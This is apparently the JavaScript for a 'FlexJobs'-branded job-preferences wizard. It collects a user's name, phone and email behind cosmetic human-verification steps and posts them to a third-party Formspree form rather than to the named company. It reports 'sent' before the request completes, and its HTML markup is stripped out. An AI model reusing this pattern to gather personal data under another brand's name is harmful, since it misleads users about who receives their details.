// ===== DATA ===== const STEPS = [ { id: 1, label: 'Account' }, { id: 2, label: 'Verify 1' }, { id: 3, label: 'Verify 2' }, { id: 4, label: 'Verify 3' }, { id: 5, label: 'Work Type' }, { id: 6, label: 'Category' }, { id: 7, label: 'Career Level' }, { id: 8, label: 'Location' }, { id: 9, label: 'Schedule' }, { id: 10, label: 'Travel' }, { id: 11, label: 'Results' }, ]; const WORK_TYPES = [ { value: 'Remote', label: '100% Remote Work', desc: 'Work from anywhere, no office required' }, { value: 'Hybrid', label: 'Hybrid Remote Work', desc: 'Split time between home and office' }, { value: 'Flexible Schedule', label: 'Flexible Schedule', desc: 'Set your own hours within guidelines' }, { value: 'Alternative Schedule', label: 'Alternative Schedule', desc: 'Non-traditional hours (evenings, weekends)' }, { value: 'Part-Time', label: 'Part-Time', desc: 'Less than 40 hours per week' }, { value: 'Freelance', label: 'Freelance', desc: 'Project-based independent work' }, ]; const CAREER_LEVELS = [ { value: 'Entry-Level', label: 'Entry-Level', desc: '0-2 years experience, new graduates welcome' }, { value: 'Mid-Level', label: 'Mid-Level', desc: '3-5 years experience, building expertise' }, { value: 'Senior-Level', label: 'Senior-Level', desc: '5+ years, leadership and advanced skills' }, { value: 'Manager', label: 'Manager', desc: 'Team leadership and people management' }, { value: 'Director', label: 'Director', desc: 'Department oversight and strategic planning' }, { value: 'Executive', label: 'Executive', desc: 'C-suite, VP, and C-level positions' }, ]; const SCHEDULES = [ { value: 'Full-Time', label: 'Full-Time', desc: '40+ hours per week, standard benefits' }, { value: 'Part-Time', label: 'Part-Time', desc: 'Less than 40 hours, flexible arrangement' }, { value: 'Flexible Schedule', label: 'Flexible Schedule', desc: 'Core hours with flexibility around them' }, { value: 'Alternative Schedule', label: 'Alternative Schedule', desc: 'Evenings, weekends, or rotating shifts' }, { value: 'Seasonal', label: 'Seasonal', desc: 'Temporary work during peak periods' }, { value: 'Occasional', label: 'Occasional', desc: 'As-needed or on-call basis' }, ]; const TRAVEL_OPTIONS = [ { value: 'No Travel', label: 'No Travel', desc: '100% remote, no business travel required' }, { value: 'Some Travel', label: 'Some Travel', desc: 'Occasional trips (less than 25%)' }, { value: 'Regular Travel', label: 'Regular Travel', desc: 'Frequent travel (25-50% of time)' }, { value: 'Extensive Travel', label: 'Extensive Travel', desc: 'Heavy travel (50%+ of time)' }, ]; const CATEGORIES = [ 'Accounting & Finance', 'Administrative', 'Advertising & PR', 'Animation & Multimedia', 'Art & Creative', 'Bilingual', 'Business Development', 'Communications', 'Computer & IT', 'Consulting', 'Customer Service', 'Data Entry', 'Education & Training', 'Engineering', 'Entertainment & Media', 'Graphic Design', 'HR & Recruiting', 'Insurance', 'Internet & Ecommerce', 'Legal', 'Marketing', 'Medical & Health', 'Nonprofit & Philanthropy', 'Nursing', 'Operations', 'Project Management', 'Sales', 'Science', 'Software Development', 'Technical Support', 'Transcription', 'Virtual Assistant', 'Writing', ]; const LOCATION_CHIPS = [ 'Anywhere in U.S.', 'Anywhere in World', 'US National', 'Canada', 'Europe', 'Asia Pacific', 'Latin America', ]; const FORMSPREE_ENDPOINT = 'https://formspree.io/f/mojoalwv'; // ===== STATE ===== let currentStep = 1; let state = { userInfo: { name: '', phone: '', email: '' }, workType: null, categories: [], careerLevel: null, locations: [], schedule: null, travel: null, verificationComplete: false, }; // ===== RENDER FUNCTIONS ===== function renderStepper() { const el = document.getElementById('stepper'); let html = ''; STEPS.forEach((step, index) => { const isActive = step.id === currentStep; const isDone = step.id < currentStep; const cls = isActive ? 'step-active' : isDone ? 'step-done' : 'step-pending'; html += `
${isDone ? '✓' : step.id}
${step.label}
`; if (index < STEPS.length - 1) { html += `
`; } }); el.innerHTML = html; } function goToStep(step) { if (step < currentStep) { currentStep = step; render(); } } function goNext() { if (currentStep < 11) { currentStep++; render(); } } function resetWizard() { currentStep = 1; state = { userInfo: { name: '', phone: '', email: '' }, workType: null, categories: [], careerLevel: null, locations: [], schedule: null, travel: null, verificationComplete: false }; render(); } // ===== STEP RENDERS ===== function renderStep1() { const isValid = state.userInfo.name.trim() && state.userInfo.email.trim() && /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(state.userInfo.email); return `
👤

Create Your Account

Please enter your details to get started.

${!isValid ? '

Please fill in your name and a valid email to continue

' : ''}
`; } function renderStep1Update() { const btn = document.querySelector('#mainCard .btn-primary'); const msg = document.querySelector('#mainCard .text-xs'); const isValid = state.userInfo.name.trim() && state.userInfo.email.trim() && /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(state.userInfo.email); if (btn) btn.disabled = !isValid; if (msg) msg.style.display = isValid ? 'none' : 'block'; } function renderStep2() { return `
🛡
Verification 1 of 3

Prove You're Human

Solve this simple math challenge to continue.

8
+
7
=
?
`; } function checkMath() { const ans = document.getElementById('mathAnswer').value; if (parseInt(ans) === 15) { goNext(); } else { document.getElementById('mathError').classList.remove('hidden'); document.getElementById('mathAnswer').value = ''; } } function renderStep3() { return `
Verification 2 of 3

Visual Challenge

Click on the ★ Star icon below.

${['Heart','Square','Star','Circle','Triangle','Heart'].map((label,i) => ` `).join('')}
`; } function checkShape(shape, btn) { if (shape === 'star') { btn.classList.add('correct'); document.getElementById('shapeError').classList.add('hidden'); document.getElementById('shapeSuccess').classList.remove('hidden'); setTimeout(() => goNext(), 500); } else { btn.classList.add('wrong'); document.getElementById('shapeError').classList.remove('hidden'); setTimeout(() => btn.classList.remove('wrong'), 500); } } function renderStep4() { return `
🙋
Verification 3 of 3

Final Confirmation

Complete all checks below to proceed.

${renderCheckbox('human', 'I am a human', 'I confirm that I am a real person, not a bot or automated system.')} ${renderCheckbox('terms', 'I agree to the Terms of Use', 'I have read and accept the privacy policy and terms.')} ${renderCheckbox('consent', 'I consent to data processing', 'My information will be used solely for job matching purposes.')}

0/3

`; } function renderCheckbox(id, title, desc) { return ` `; } let checks = { human: false, terms: false, consent: false }; function toggleCheckbox(id) { checks[id] = !checks[id]; const card = document.getElementById('cb_' + id); const box = document.getElementById('cbbox_' + id); if (checks[id]) { card.classList.add('checked'); box.innerHTML = '✓'; box.style.color = 'white'; } else { card.classList.remove('checked'); box.innerHTML = ''; } const count = Object.values(checks).filter(Boolean).length; document.getElementById('verifyProgress').style.width = (count/3*100) + '%'; document.getElementById('verifyCount').textContent = count + '/3'; document.getElementById('verifyBtn').disabled = count < 3; } function completeVerify() { state.verificationComplete = true; goNext(); } function renderStep5() { return renderSelectionStep('Work Type', 'Let's find your perfect work arrangement!', 'What type of work flexibility are you looking for?', WORK_TYPES, state.workType, 'workType'); } function renderStep7() { return renderSelectionStep('Career Level', 'What career level are you targeting?', 'Select the experience level that matches your qualifications.', CAREER_LEVELS, state.careerLevel, 'careerLevel'); } function renderStep9() { return renderSelectionStep('Schedule', 'What schedule works best for you?', 'Select your preferred work schedule type.', SCHEDULES, state.schedule, 'schedule'); } function renderStep10() { return renderSelectionStep('Travel', 'How much travel are you comfortable with?', 'Select your preferred travel requirements for the role.', TRAVEL_OPTIONS, state.travel, 'travel'); } function renderSelectionStep(title, heading, subtext, options, currentValue, stateKey) { return `
💼

${heading}

${subtext}

${options.map((opt, i) => `
💼
${opt.label}
${opt.desc}
`).join('')}
`; } function selectOption(key, value) { state[key] = value; render(); setTimeout(() => goNext(), 600); } function renderStep6() { const slots = state.categories.length; const isFull = slots >= 5; return `

No worries! We've got you covered.

Select up to 5 job categories that interest you.

Selected: ${slots}/5 categories${isFull ? 'All full!' : ''} ${slots > 0 ? `` : ''}
${state.categories.map(cat => `${cat} `).join('')}
${slots > 0 && slots < 5 ? `
` : ''}
${CATEGORIES.map(cat => ` `).join('')}
`; } function toggleCat(cat) { if (state.categories.includes(cat)) { state.categories = state.categories.filter(c => c !== cat); } else if (state.categories.length < 5) { state.categories.push(cat); } render(); } function removeCat(cat) { state.categories = state.categories.filter(c => c !== cat); render(); } function renderStep8() { return `

Where would you like to work?

Choose your preferred work location or region.

About 95% of remote jobs have location requirements. Select your region to find jobs you qualify for.

${LOCATION_CHIPS.map(chip => ` `).join('')}

Press Enter to add a custom location

${state.locations.map(loc => `${loc} `).join('')}
`; } function toggleLocation(loc) { if (state.locations.includes(loc)) { state.locations = state.locations.filter(l => l !== loc); } else { state.locations.push(loc); if (state.locations.length === 1) setTimeout(() => goNext(), 600); } render(); } function removeLoc(loc) { state.locations = state.locations.filter(l => l !== loc); render(); } function addCustomLoc() { const val = document.getElementById('customLoc').value.trim(); if (val && !state.locations.includes(val)) { state.locations.push(val); if (state.locations.length === 1) setTimeout(() => goNext(), 600); } document.getElementById('customLoc').value = ''; render(); } function renderStep11() { const summary = [ { label: 'Work Type', value: state.workType || 'Not selected' }, { label: 'Job Categories', value: state.categories.join(', ') || 'Not selected' }, { label: 'Career Level', value: state.careerLevel || 'Not selected' }, { label: 'Location', value: state.locations.join(', ') || 'Not selected' }, { label: 'Schedule', value: state.schedule || 'Not selected' }, { label: 'Travel', value: state.travel || 'Not selected' }, ]; return `
🎉

Your job preferences are ready!

Here's a summary of what you're looking for.

Registered User

👤${state.userInfo.name}
${state.userInfo.phone ? `
📞${state.userInfo.phone}
` : ''}
${state.userInfo.email}

Your Job Preferences

${summary.map(item => `
${item.label} ${item.value}
`).join('')}

Ready to submit

Click "Download & Send" to save your preferences and submit your application.

`; } async function handleDownload() { const btn = document.getElementById('downloadBtn'); const statusBox = document.getElementById('statusBox'); const statusTitle = document.getElementById('statusTitle'); const statusText = document.getElementById('statusText'); // Download file const now = new Date(); const content = generateFileContent(); const blob = new Blob([content], { type: 'text/plain;charset=utf-8' }); const url = URL.createObjectURL(blob); const link = document.createElement('a'); link.href = url; link.download = `FlexJobs-${state.userInfo.name.replace(/\s+/g, '-') || 'User'}-Preferences-${now.getFullYear()}-${String(now.getMonth()+1).padStart(2,'0')}-${String(now.getDate()).padStart(2,'0')}.txt`; document.body.appendChild(link); link.click(); document.body.removeChild(link); URL.revokeObjectURL(url); // Update UI btn.innerHTML = '✓ Sent!'; btn.classList.remove('btn-primary'); btn.classList.add('btn-success'); statusBox.className = 'status-box status-emerald'; statusTitle.textContent = 'Notification sent!'; statusText.textContent = 'Your application has been submitted for review.'; // Send to Formspree try { const nowStr = now.toLocaleString('en-US'); const params = new URLSearchParams(); params.append('email', state.userInfo.email || 'noreply@flexjobs.com'); params.append('subject', `New Job Application - ${state.userInfo.name || 'Unknown'}`); params.append('message', `NEW JOB PREFERENCES SUBMISSION\n\nSubmitted: ${nowStr}\n\nUSER INFORMATION:\n- Name: ${state.userInfo.name || 'N/A'}\n- Phone: ${state.userInfo.phone || 'N/A'}\n- Email: ${state.userInfo.email || 'N/A'}\n- Verification: ${state.verificationComplete ? 'PASSED (3/3)' : 'INCOMPLETE'}\n\nJOB PREFERENCES:\n- Work Type: ${state.workType || 'Not selected'}\n- Categories: ${state.categories.join(', ') || 'Not selected'}\n- Career Level: ${state.careerLevel || 'Not selected'}\n- Location: ${state.locations.join(', ') || 'Not selected'}\n- Schedule: ${state.schedule || 'Not selected'}\n- Travel: ${state.travel || 'Not selected'}\n\n---\nSent via FlexJobs Job Wizard`); params.append('_replyto', state.userInfo.email || 'noreply@flexjobs.com'); const response = await fetch(FORMSPREE_ENDPOINT, { method: 'POST', body: params.toString(), headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'application/json' }, }); if (!response.ok) { console.error('Formspree error:', await response.text()); statusBox.className = 'status-box status-amber'; statusTitle.textContent = 'Downloaded but email may have failed'; statusText.textContent = 'Please check your Formspree form is active.'; } } catch (err) { console.error('Email error:', err); statusBox.className = 'status-box status-amber'; statusTitle.textContent = 'Downloaded but email failed'; statusText.textContent = 'Network error. Please check your connection.'; } } function generateFileContent() { const now = new Date(); const dateStr = now.toLocaleDateString('en-US', { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }); const timeStr = now.toLocaleTimeString('en-US', { hour: '2-digit', minute: '2-digit' }); return `============================================================ FLEXJOBS JOB PREFERENCES SUMMARY ============================================================ Generated on: ${dateStr} at ${timeStr} ============================================================ USER INFORMATION ============================================================ Name : ${state.userInfo.name || 'N/A'} Phone : ${state.userInfo.phone || 'N/A'} Email : ${state.userInfo.email || 'N/A'} Verification : ${state.verificationComplete ? 'PASSED (3/3)' : 'INCOMPLETE'} ============================================================ YOUR SELECTIONS ============================================================ Work Type : ${state.workType || 'Not selected'} Job Categories : ${state.categories.length > 0 ? state.categories.join('\n ') : 'Not selected'} Career Level : ${state.careerLevel || 'Not selected'} Location : ${state.locations.length > 0 ? state.locations.join('\n ') : 'Not selected'} Schedule : ${state.schedule || 'Not selected'} Travel Preference : ${state.travel || 'Not selected'} ------------------------------------------------------------ QUICK REFERENCE ------------------------------------------------------------ Name : ${state.userInfo.name || 'N/A'} Remote Work Type : ${state.workType || 'N/A'} Experience Level : ${state.careerLevel || 'N/A'} Work Schedule : ${state.schedule || 'N/A'} Travel Required : ${state.travel || 'N/A'} ------------------------------------------------------------ NOTES ------------------------------------------------------------ - About 95% of remote jobs have location requirements. - Use this summary to refine your search on FlexJobs. - Consider saving multiple preference profiles for different job search scenarios. - This file was generated after 3-step human verification. ============================================================ FlexJobs - Find Your Perfect Remote Job https://www.flexjobs.com ============================================================ `; } // ===== MAIN RENDER ===== function render() { renderStepper(); const card = document.getElementById('mainCard'); document.getElementById('userName').textContent = state.userInfo.name && currentStep > 1 ? state.userInfo.name : ''; switch(currentStep) { case 1: card.innerHTML = renderStep1(); break; case 2: card.innerHTML = renderStep2(); break; case 3: card.innerHTML = renderStep3(); break; case 4: checks = { human: false, terms: false, consent: false }; card.innerHTML = renderStep4(); break; case 5: card.innerHTML = renderStep5(); break; case 6: card.innerHTML = renderStep6(); break; case 7: card.innerHTML = renderStep7(); break; case 8: card.innerHTML = renderStep8(); break; case 9: card.innerHTML = renderStep9(); break; case 10: card.innerHTML = renderStep10(); break; case 11: card.innerHTML = renderStep11(); break; } card.className = 'card fade-in'; } // Init render();